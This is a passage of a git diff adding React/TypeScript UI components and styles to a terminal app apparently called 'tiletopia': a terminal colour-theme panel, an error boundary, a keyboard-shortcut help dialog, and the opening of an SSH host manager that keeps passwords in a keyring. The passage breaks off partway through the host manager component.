border-radius: 4px;
|
||||
background: transparent;
|
||||
cursor: pointer;
|
||||
}
|
||||
.color-swatch::-webkit-color-swatch-wrapper { padding: 2px; }
|
||||
.color-swatch::-webkit-color-swatch { border: none; border-radius: 2px; }
|
||||
.color-hex {
|
||||
flex: 0 0 96px;
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
background: #0e0e0e;
|
||||
color: #ddd;
|
||||
border: 1px solid #333;
|
||||
border-radius: 4px;
|
||||
padding: 5px 8px;
|
||||
}
|
||||
.color-hex:focus { outline: none; border-color: #4488cc; }
|
||||
.color-inherit-tag {
|
||||
font-size: 10px;
|
||||
color: #666;
|
||||
font-style: italic;
|
||||
}
|
||||
.color-clear-field {
|
||||
background: transparent;
|
||||
border: 1px solid #333;
|
||||
color: #888;
|
||||
border-radius: 4px;
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
font-size: 13px;
|
||||
line-height: 1;
|
||||
cursor: pointer;
|
||||
}
|
||||
.color-clear-field:hover { background: #2a2a2a; color: #ddd; }
|
||||
|
||||
/* ---- Live preview ------------------------------------------------------- */
|
||||
|
||||
.color-preview {
|
||||
margin: 16px 0;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 6px;
|
||||
padding: 10px 12px;
|
||||
font-size: 12px;
|
||||
line-height: 1.7;
|
||||
overflow: hidden;
|
||||
}
|
||||
.color-preview-line { white-space: pre; }
|
||||
.color-preview-prompt { font-weight: 600; opacity: 0.85; }
|
||||
.color-preview-cursor {
|
||||
display: inline-block;
|
||||
width: 8px;
|
||||
height: 14px;
|
||||
margin-left: 2px;
|
||||
vertical-align: text-bottom;
|
||||
border-radius: 1px;
|
||||
}
|
||||
|
||||
/* ---- Presets ------------------------------------------------------------ */
|
||||
|
||||
.color-presets { margin-top: 4px; }
|
||||
.color-presets-label {
|
||||
display: block;
|
||||
font-size: 11px;
|
||||
color: #888;
|
||||
margin-bottom: 8px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.color-presets-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 8px;
|
||||
}
|
||||
.color-preset {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
font: inherit;
|
||||
font-size: 11px;
|
||||
color: #bbb;
|
||||
background: #1d1d1d;
|
||||
border: 1px solid #333;
|
||||
border-radius: 5px;
|
||||
padding: 5px 9px 5px 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.color-preset:hover { border-color: #4488cc; color: #eee; }
|
||||
.color-preset-swatch {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 24px;
|
||||
height: 20px;
|
||||
border: 1px solid;
|
||||
border-radius: 3px;
|
||||
font-size: 10px;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
/* ---- Actions ------------------------------------------------------------ */
|
||||
|
||||
.color-actions {
|
||||
margin-top: 18px;
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
}
|
||||
.color-reset {
|
||||
font: inherit;
|
||||
font-size: 11px;
|
||||
color: #cbb;
|
||||
background: transparent;
|
||||
border: 1px solid #443;
|
||||
border-radius: 5px;
|
||||
padding: 6px 12px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.color-reset:hover { background: #2a2420; color: #eed; border-color: #665; }
|
||||
258
src/components/ColorPanel.tsx
Normal file
258
src/components/ColorPanel.tsx
Normal file
|
|
@ -0,0 +1,258 @@
|
|||
import { useEffect, useState } from "react";
|
||||
import type { NodeId } from "../lib/layout/tree";
|
||||
import {
|
||||
type PaneColors,
|
||||
COLOR_PRESETS,
|
||||
resolvePaneColors,
|
||||
} from "../lib/theme";
|
||||
import "./ColorPanel.css";
|
||||
|
||||
interface ColorPanelProps {
|
||||
/** App-wide default theme. */
|
||||
globalColors: PaneColors;
|
||||
/** Persist a new global theme (pass {} to reset to built-in defaults). */
|
||||
onChangeGlobal: (colors: PaneColors) => void;
|
||||
/** Active pane being targeted in per-pane mode (null → only global mode
|
||||
* is available). */
|
||||
activeLeafId: NodeId | null;
|
||||
/** Human label for the active pane, shown in the mode toggle. */
|
||||
activeLeafLabel?: string;
|
||||
/** The active pane's current override (undefined → fully inherits global). */
|
||||
activeOverride: PaneColors | undefined;
|
||||
/** Persist the active pane's override (undefined → clear it). */
|
||||
onChangeActive: (colors: PaneColors | undefined) => void;
|
||||
/** Which target the panel opens on. */
|
||||
initialMode: "global" | "pane";
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
type Mode = "global" | "pane";
|
||||
|
||||
const FIELDS: { key: keyof PaneColors; label: string }[] = [
|
||||
{ key: "background", label: "Background" },
|
||||
{ key: "foreground", label: "Foreground" },
|
||||
{ key: "cursor", label: "Cursor" },
|
||||
{ key: "selection", label: "Selection" },
|
||||
];
|
||||
|
||||
const HEX_RE = /^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/;
|
||||
|
||||
/** Expand #rgb → #rrggbb so `<input type="color">` (which only accepts the
|
||||
* 6-digit form) always gets a valid value. */
|
||||
function expandHex(hex: string): string {
|
||||
if (/^#[0-9a-fA-F]{3}$/.test(hex)) {
|
||||
return "#" + hex.slice(1).split("").map((c) => c + c).join("");
|
||||
}
|
||||
return hex;
|
||||
}
|
||||
|
||||
export default function ColorPanel({
|
||||
globalColors,
|
||||
onChangeGlobal,
|
||||
activeLeafId,
|
||||
activeLeafLabel,
|
||||
activeOverride,
|
||||
onChangeActive,
|
||||
initialMode,
|
||||
onClose,
|
||||
}: ColorPanelProps) {
|
||||
// Fall back to global mode if asked for per-pane with no active pane.
|
||||
const [mode, setMode] = useState<Mode>(
|
||||
initialMode === "pane" && activeLeafId ? "pane" : "global",
|
||||
);
|
||||
const paneMode = mode === "pane" && !!activeLeafId;
|
||||
|
||||
useEffect(() => {
|
||||
function onKey(e: KeyboardEvent) {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
onClose();
|
||||
}
|
||||
}
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [onClose]);
|
||||
|
||||
// The override layer we're editing: the leaf's override in pane mode, or
|
||||
// the global theme itself in global mode. `resolved` fills every field so
|
||||
// the swatches/preview always show a concrete colour.
|
||||
const editLayer: PaneColors = paneMode ? (activeOverride ?? {}) : globalColors;
|
||||
const resolved = paneMode
|
||||
? resolvePaneColors(globalColors, activeOverride)
|
||||
: resolvePaneColors(globalColors, undefined);
|
||||
|
||||
/** Whether a field is explicitly set on the layer we're editing (vs.
|
||||
* inherited). Only meaningful in pane mode for the "inherited" hint. */
|
||||
const isSet = (key: keyof PaneColors) => editLayer[key] !== undefined;
|
||||
|
||||
function setField(key: keyof PaneColors, value: string) {
|
||||
const next: PaneColors = { ...editLayer, [key]: value };
|
||||
if (paneMode) onChangeActive(next);
|
||||
else onChangeGlobal(next);
|
||||
}
|
||||
|
||||
/** Pane mode only: drop one field's override so it re-inherits the global. */
|
||||
function clearField(key: keyof PaneColors) {
|
||||
if (!paneMode) return;
|
||||
const next: PaneColors = { ...editLayer };
|
||||
delete next[key];
|
||||
onChangeActive(next);
|
||||
}
|
||||
|
||||
function applyPreset(colors: PaneColors) {
|
||||
if (paneMode) onChangeActive({ ...colors });
|
||||
else onChangeGlobal({ ...colors });
|
||||
}
|
||||
|
||||
function resetAll() {
|
||||
if (paneMode) onChangeActive(undefined);
|
||||
else onChangeGlobal({});
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<button className="backdrop" onClick={onClose} aria-label="Close" />
|
||||
<div className="color-panel" role="dialog" aria-label="Terminal colours">
|
||||
<header className="color-header">
|
||||
<span className="color-title">Terminal colours</span>
|
||||
<button className="color-close" onClick={onClose} aria-label="Close">
|
||||
×
|
||||
</button>
|
||||
</header>
|
||||
|
||||
{/* Target toggle: edit the global default or just the active pane. */}
|
||||
<div className="color-modes" role="tablist">
|
||||
<button
|
||||
className={`color-mode${mode === "global" ? " color-mode--active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={mode === "global"}
|
||||
onClick={() => setMode("global")}
|
||||
>
|
||||
Global default
|
||||
</button>
|
||||
<button
|
||||
className={`color-mode${paneMode ? " color-mode--active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={paneMode}
|
||||
disabled={!activeLeafId}
|
||||
onClick={() => setMode("pane")}
|
||||
title={
|
||||
activeLeafId
|
||||
? "Override colours for the active pane only"
|
||||
: "Select a pane first to override it"
|
||||
}
|
||||
>
|
||||
{activeLeafId
|
||||
? `This pane (${activeLeafLabel || "active"})`
|
||||
: "This pane"}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="color-body">
|
||||
<p className="color-blurb">
|
||||
{paneMode
|
||||
? "These colours override the global theme for the active pane only. Unset rows inherit the global default."
|
||||
: "These colours apply to every pane that doesn't have its own override. Saved across restarts and shared with new windows."}
|
||||
</p>
|
||||
|
||||
{/* Editable colour rows */}
|
||||
<div className="color-rows">
|
||||
{FIELDS.map(({ key, label }) => {
|
||||
const value = resolved[key]!;
|
||||
const inherited = paneMode && !isSet(key);
|
||||
return (
|
||||
<div className="color-row" key={key}>
|
||||
<span className="color-row-label">{label}</span>
|
||||
<input
|
||||
type="color"
|
||||
className="color-swatch"
|
||||
value={expandHex(value)}
|
||||
onChange={(e) => setField(key, e.target.value)}
|
||||
aria-label={label}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="color-hex"
|
||||
value={value}
|
||||
spellCheck={false}
|
||||
onChange={(e) => {
|
||||
const v = e.target.value.trim();
|
||||
if (HEX_RE.test(v)) setField(key, v);
|
||||
}}
|
||||
/>
|
||||
{paneMode &&
|
||||
(inherited ? (
|
||||
<span className="color-inherit-tag" title="Inheriting the global default">
|
||||
inherited
|
||||
</span>
|
||||
) : (
|
||||
<button
|
||||
className="color-clear-field"
|
||||
onClick={() => clearField(key)}
|
||||
title="Revert this colour to the global default"
|
||||
aria-label={`Revert ${label} to global`}
|
||||
>
|
||||
↺
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
{/* Live preview */}
|
||||
<div
|
||||
className="color-preview"
|
||||
style={{ background: resolved.background, color: resolved.foreground }}
|
||||
aria-hidden="true"
|
||||
>
|
||||
<div className="color-preview-line">
|
||||
<span className="color-preview-prompt">user@tiletopia</span>:~$ ls -la
|
||||
</div>
|
||||
<div className="color-preview-line">
|
||||
<span style={{ background: resolved.selection }}>selected text</span>{" "}
|
||||
normal output
|
||||
<span
|
||||
className="color-preview-cursor"
|
||||
style={{ background: resolved.cursor }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Presets */}
|
||||
<div className="color-presets">
|
||||
<span className="color-presets-label">Presets</span>
|
||||
<div className="color-presets-row">
|
||||
{COLOR_PRESETS.map((p) => (
|
||||
<button
|
||||
key={p.name}
|
||||
className="color-preset"
|
||||
onClick={() => applyPreset(p.colors)}
|
||||
title={`Apply ${p.name}`}
|
||||
>
|
||||
<span
|
||||
className="color-preset-swatch"
|
||||
style={{
|
||||
background: p.colors.background,
|
||||
color: p.colors.foreground,
|
||||
borderColor: p.colors.selection,
|
||||
}}
|
||||
>
|
||||
Ab
|
||||
</span>
|
||||
{p.name}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="color-actions">
|
||||
<button className="color-reset" onClick={resetAll}>
|
||||
{paneMode ? "Reset pane to global" : "Reset to defaults"}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
84
src/components/ErrorBoundary.tsx
Normal file
84
src/components/ErrorBoundary.tsx
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
import { Component, type ReactNode } from "react";
|
||||
|
||||
interface Props {
|
||||
children: ReactNode;
|
||||
/** Optional label for the error message ("Policy tab", "Audit log", etc.). */
|
||||
label?: string;
|
||||
}
|
||||
|
||||
interface State {
|
||||
error: Error | null;
|
||||
}
|
||||
|
||||
/** Last-resort guard against React render exceptions. Without this, a single
|
||||
* bad render in any component blanks the entire app — react unmounts the
|
||||
* whole tree because the exception bubbles past the root. Wrap the App
|
||||
* body or individual high-risk components (PolicyTab, AuditTab) with this. */
|
||||
export default class ErrorBoundary extends Component<Props, State> {
|
||||
state: State = { error: null };
|
||||
|
||||
static getDerivedStateFromError(error: Error): State {
|
||||
return { error };
|
||||
}
|
||||
|
||||
componentDidCatch(error: Error, info: { componentStack?: string | null }) {
|
||||
// Surface to dev tools console — Tauri's WebView2 will show this in
|
||||
// its inspector. Keeps the diagnostic accessible even if the panel
|
||||
// refuses to render.
|
||||
console.error("[ErrorBoundary]", this.props.label ?? "(unlabelled)", error, info);
|
||||
}
|
||||
|
||||
handleReset = () => {
|
||||
this.setState({ error: null });
|
||||
};
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
padding: 14,
|
||||
margin: 10,
|
||||
background: "#1a0e0e",
|
||||
border: "1px solid #6a2a2a",
|
||||
borderRadius: 4,
|
||||
color: "#e0a0a0",
|
||||
font: "12px/1.5 monospace",
|
||||
}}
|
||||
role="alert"
|
||||
>
|
||||
<div style={{ fontWeight: 600, color: "#ff8080", marginBottom: 6 }}>
|
||||
{this.props.label ?? "Component"} crashed while rendering
|
||||
</div>
|
||||
<pre
|
||||
style={{
|
||||
whiteSpace: "pre-wrap",
|
||||
wordBreak: "break-word",
|
||||
margin: "6px 0",
|
||||
color: "#c08080",
|
||||
fontSize: 11,
|
||||
}}
|
||||
>
|
||||
{this.state.error.message}
|
||||
</pre>
|
||||
<button
|
||||
onClick={this.handleReset}
|
||||
style={{
|
||||
marginTop: 6,
|
||||
font: "inherit",
|
||||
background: "#2a1a1a",
|
||||
color: "#e0a0a0",
|
||||
border: "1px solid #6a2a2a",
|
||||
borderRadius: 3,
|
||||
padding: "3px 10px",
|
||||
cursor: "pointer",
|
||||
}}
|
||||
>
|
||||
Try again
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
return this.props.children;
|
||||
}
|
||||
}
|
||||
132
src/components/Help.css
Normal file
132
src/components/Help.css
Normal file
|
|
@ -0,0 +1,132 @@
|
|||
.help {
|
||||
position: fixed;
|
||||
top: 8vh;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: min(720px, 92vw);
|
||||
max-height: 84vh;
|
||||
background: #161616;
|
||||
color: #ccc;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
|
||||
z-index: 100;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
}
|
||||
|
||||
.help-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.help-title {
|
||||
font-weight: 600;
|
||||
font-size: 13px;
|
||||
}
|
||||
.help-close {
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: #888;
|
||||
font-size: 18px;
|
||||
line-height: 1;
|
||||
padding: 2px 8px;
|
||||
cursor: pointer;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.help-close:hover {
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
}
|
||||
|
||||
.help-body {
|
||||
padding: 14px 18px;
|
||||
overflow-y: auto;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.help-body h3 {
|
||||
margin: 18px 0 6px;
|
||||
font-size: 13px;
|
||||
color: #e6e6e6;
|
||||
font-weight: 600;
|
||||
}
|
||||
.help-body h3:first-child {
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.help-section {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.help-section h4 {
|
||||
margin: 8px 0 4px;
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
color: #888;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.help-shortcuts {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
.help-shortcuts td {
|
||||
padding: 3px 4px;
|
||||
vertical-align: top;
|
||||
}
|
||||
.help-shortcuts td.keys {
|
||||
white-space: nowrap;
|
||||
width: 260px;
|
||||
padding-right: 12px;
|
||||
}
|
||||
.help-shortcuts td.desc {
|
||||
color: #aaa;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.help-shortcuts kbd {
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
background: #222;
|
||||
color: #cce6ff;
|
||||
border: 1px solid #2a2a3a;
|
||||
border-radius: 3px;
|
||||
padding: 1px 6px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.help-tips {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 4px 0 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
}
|
||||
.help-tips li {
|
||||
padding: 7px 10px;
|
||||
background: #1c1c1c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
color: #aaa;
|
||||
font-size: 11px;
|
||||
line-height: 1.45;
|
||||
}
|
||||
.help-tips strong {
|
||||
color: #e6e6e6;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.help-footer {
|
||||
margin: 18px 0 0;
|
||||
padding-top: 10px;
|
||||
border-top: 1px solid #2a2a2a;
|
||||
color: #666;
|
||||
font-size: 11px;
|
||||
line-height: 1.45;
|
||||
}
|
||||
78
src/components/Help.tsx
Normal file
78
src/components/Help.tsx
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
import { useEffect } from "react";
|
||||
import { SHORTCUT_SECTIONS, TIPS } from "../lib/shortcuts";
|
||||
import "./Help.css";
|
||||
|
||||
interface HelpProps {
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
export default function Help({ onClose }: HelpProps) {
|
||||
useEffect(() => {
|
||||
function onKey(e: KeyboardEvent) {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
onClose();
|
||||
}
|
||||
}
|
||||
window.addEventListener("keydown", onKey);
|
||||
return () => window.removeEventListener("keydown", onKey);
|
||||
}, [onClose]);
|
||||
|
||||
return (
|
||||
<>
|
||||
<button
|
||||
className="backdrop"
|
||||
onClick={onClose}
|
||||
aria-label="Close help"
|
||||
></button>
|
||||
|
||||
<div className="help" role="dialog" aria-label="tiletopia help">
|
||||
<header className="help-header">
|
||||
<span className="help-title">tiletopia — help</span>
|
||||
<button
|
||||
className="help-close"
|
||||
onClick={onClose}
|
||||
aria-label="Close help"
|
||||
>
|
||||
×
|
||||
</button>
|
||||
</header>
|
||||
<div className="help-body">
|
||||
<h3>Keyboard shortcuts</h3>
|
||||
{SHORTCUT_SECTIONS.map((section) => (
|
||||
<div key={section.title} className="help-section">
|
||||
<h4>{section.title}</h4>
|
||||
<table className="help-shortcuts">
|
||||
<tbody>
|
||||
{section.items.map((item) => (
|
||||
<tr key={item.keys}>
|
||||
<td className="keys">
|
||||
<kbd>{item.keys}</kbd>
|
||||
</td>
|
||||
<td className="desc">{item.description}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
))}
|
||||
|
||||
<h3>Tips</h3>
|
||||
<ul className="help-tips">
|
||||
{TIPS.map((tip) => (
|
||||
<li key={tip.title}>
|
||||
<strong>{tip.title}.</strong> {tip.body}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
|
||||
<p className="help-footer">
|
||||
Shortcuts work while a terminal is focused — they capture the key
|
||||
before xterm.js sees it. They don't fire while you're typing into
|
||||
a label edit or the palette input.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
278
src/components/HostManager.css
Normal file
278
src/components/HostManager.css
Normal file
|
|
@ -0,0 +1,278 @@
|
|||
.host-mgr-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(0, 0, 0, 0.6);
|
||||
z-index: 100;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.host-mgr-panel {
|
||||
background: #161616;
|
||||
color: #ccc;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 10px 32px rgba(0, 0, 0, 0.7);
|
||||
width: min(620px, 96vw);
|
||||
max-height: 86vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
}
|
||||
|
||||
.host-mgr-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
}
|
||||
.host-mgr-title {
|
||||
font-weight: 600;
|
||||
font-size: 13px;
|
||||
}
|
||||
.host-mgr-close {
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: #888;
|
||||
font-size: 18px;
|
||||
line-height: 1;
|
||||
padding: 2px 8px;
|
||||
cursor: pointer;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.host-mgr-close:hover {
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
}
|
||||
|
||||
.host-mgr-body {
|
||||
overflow-y: auto;
|
||||
padding: 12px 14px;
|
||||
flex: 1 1 auto;
|
||||
min-height: 0;
|
||||
}
|
||||
|
||||
.host-mgr-empty {
|
||||
color: #666;
|
||||
font-size: 12px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
|
||||
.host-mgr-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.host-row {
|
||||
background: #1c1c1c;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 6px;
|
||||
padding: 8px 10px;
|
||||
}
|
||||
|
||||
.host-display {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 12px;
|
||||
}
|
||||
.host-summary-label {
|
||||
font-weight: 600;
|
||||
color: #e6e6e6;
|
||||
font-size: 12px;
|
||||
}
|
||||
.host-summary-detail {
|
||||
color: #888;
|
||||
font-size: 11px;
|
||||
margin-top: 1px;
|
||||
}
|
||||
.host-actions {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.host-edit-btn,
|
||||
.host-connect-btn {
|
||||
background: #222;
|
||||
color: #aac;
|
||||
border: 1px solid #2a2a3a;
|
||||
border-radius: 3px;
|
||||
padding: 3px 10px;
|
||||
font: inherit;
|
||||
font-size: 11px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.host-edit-btn:hover {
|
||||
background: #2a2a3a;
|
||||
color: #cce;
|
||||
}
|
||||
.host-connect-btn {
|
||||
background: #1a2a1a;
|
||||
color: #80c080;
|
||||
border-color: #2a4a2a;
|
||||
}
|
||||
.host-connect-btn:hover {
|
||||
background: #2a4a2a;
|
||||
color: #a0e0a0;
|
||||
}
|
||||
|
||||
.host-form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.host-form label {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
color: #888;
|
||||
font-size: 10px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.host-form input {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 12px;
|
||||
background: #0c0c0c;
|
||||
color: #e6e6e6;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 4px 6px;
|
||||
outline: none;
|
||||
text-transform: none;
|
||||
letter-spacing: normal;
|
||||
}
|
||||
.host-form input:focus {
|
||||
border-color: #3a5a8c;
|
||||
}
|
||||
.host-form-row {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
}
|
||||
.host-form-row > label {
|
||||
flex: 1 1 auto;
|
||||
}
|
||||
.host-form-port {
|
||||
flex: 0 0 90px !important;
|
||||
}
|
||||
.host-form .required {
|
||||
color: #d66;
|
||||
}
|
||||
.host-form-actions {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
margin-top: 4px;
|
||||
}
|
||||
.host-form-actions button {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
padding: 4px 12px;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
background: #222;
|
||||
color: #ccc;
|
||||
border: 1px solid #2a2a2a;
|
||||
}
|
||||
.host-form-actions button:hover {
|
||||
background: #2a2a2a;
|
||||
}
|
||||
.host-form-actions button.primary {
|
||||
background: #1a3a5c;
|
||||
color: #cce6ff;
|
||||
border-color: #3a5a8c;
|
||||
}
|
||||
.host-form-actions button.primary:hover {
|
||||
background: #245080;
|
||||
}
|
||||
.host-form-actions button.danger {
|
||||
margin-left: auto;
|
||||
color: #d88;
|
||||
border-color: #3a1a1a;
|
||||
}
|
||||
.host-form-actions button.danger:hover {
|
||||
background: #3a1a1a;
|
||||
color: #fcc;
|
||||
}
|
||||
|
||||
.host-pw-badge {
|
||||
margin-left: 6px;
|
||||
font-size: 10px;
|
||||
vertical-align: middle;
|
||||
filter: grayscale(0.4);
|
||||
}
|
||||
|
||||
.host-form-pw-label {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 8px;
|
||||
width: 100%;
|
||||
}
|
||||
.host-form-pw-hint {
|
||||
text-transform: none;
|
||||
letter-spacing: normal;
|
||||
color: #555;
|
||||
font-size: 9px;
|
||||
}
|
||||
|
||||
.host-form-pw-row {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
}
|
||||
.host-form-pw-row input {
|
||||
flex: 1 1 auto;
|
||||
}
|
||||
.host-form-pw-reveal,
|
||||
.host-form-pw-clear {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
padding: 2px 8px;
|
||||
background: #222;
|
||||
color: #aaa;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.host-form-pw-reveal:hover,
|
||||
.host-form-pw-clear:hover {
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
}
|
||||
.host-form-pw-clear {
|
||||
color: #d88;
|
||||
border-color: #3a1a1a;
|
||||
}
|
||||
.host-form-pw-clear:hover {
|
||||
background: #3a1a1a;
|
||||
color: #fcc;
|
||||
}
|
||||
|
||||
.host-add-btn {
|
||||
margin-top: 10px;
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
background: #1c1c1c;
|
||||
color: #88c;
|
||||
border: 1px dashed #3a3a4a;
|
||||
border-radius: 4px;
|
||||
padding: 6px 10px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
text-align: center;
|
||||
}
|
||||
.host-add-btn:hover {
|
||||
background: #222;
|
||||
color: #aac;
|
||||
border-color: #4a4a5a;
|
||||
}
|
||||
475
src/components/HostManager.tsx
Normal file
475
src/components/HostManager.tsx
Normal file
|
|
@ -0,0 +1,475 @@
|
|||
import {
|
||||
useState,
|
||||
useCallback,
|
||||
useEffect,
|
||||
useRef,
|
||||
type FormEvent,
|
||||
} from "react";
|
||||
import type { SshHost } from "../ipc";
|
||||
import "./HostManager.css";
|
||||
|
||||
function newId(): string {
|
||||
return (
|
||||
globalThis.crypto?.randomUUID?.() ??
|
||||
Math.random().toString(36).slice(2, 12)
|
||||
);
|
||||
}
|
||||
|
||||
function blankHost(): SshHost {
|
||||
return { id: newId(), label: "", hostname: "" };
|
||||
}
|
||||
|
||||
/** Per-edit transient state for the password field. The actual password
|
||||
* text never lives on `SshHost` — it stays in this map until the user
|
||||
* clicks Save, at which point we either send a set/delete to keyring
|
||||
* via the parent callbacks or do nothing. */
|
||||
interface PasswordDraft {
|
||||
/** What the user typed (or "" if untouched). */
|
||||
input: string;
|
||||
/** True iff the user clicked "Remove password" — overrides `input`. */
|
||||
cleared: boolean;
|
||||
}
|
||||
|
||||
interface HostManagerProps {
|
||||
hosts: SshHost[];
|
||||
/** Persist the host list (label/hostname/etc — no password). */
|
||||
onSave: (hosts: SshHost[]) => void;
|
||||
/** Write a new password to keyring for the given host id. Called only
|
||||
* on Save, only when the user typed something into the password field. */
|
||||
onSavePassword: (hostId: string, password: string) => void;
|
||||
/** Delete the keyring entry for this host id. Called when the user
|
||||
* clicked "Remove password" before Save. */
|
||||
onClearPassword: (hostId: string) => void;
|
||||
/** Open a new pane connected to this host (and close the manager). */
|
||||
onConnect: (hostId: string) => void;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
export default function HostManager({
|
||||
hosts,
|
||||
onSave,
|
||||
onSavePassword,
|
||||
onClearPassword,
|
||||
onConnect,
|
||||
onClose,
|
||||
}: HostManagerProps) {
|
||||
// Local editable copy. Any save / delete acts on this and pushes the
|
||||
// whole list back up via onSave.
|
||||
const [draft, setDraft] = useState<SshHost[]>(() => hosts.map((h) => ({ ...h })));
|
||||
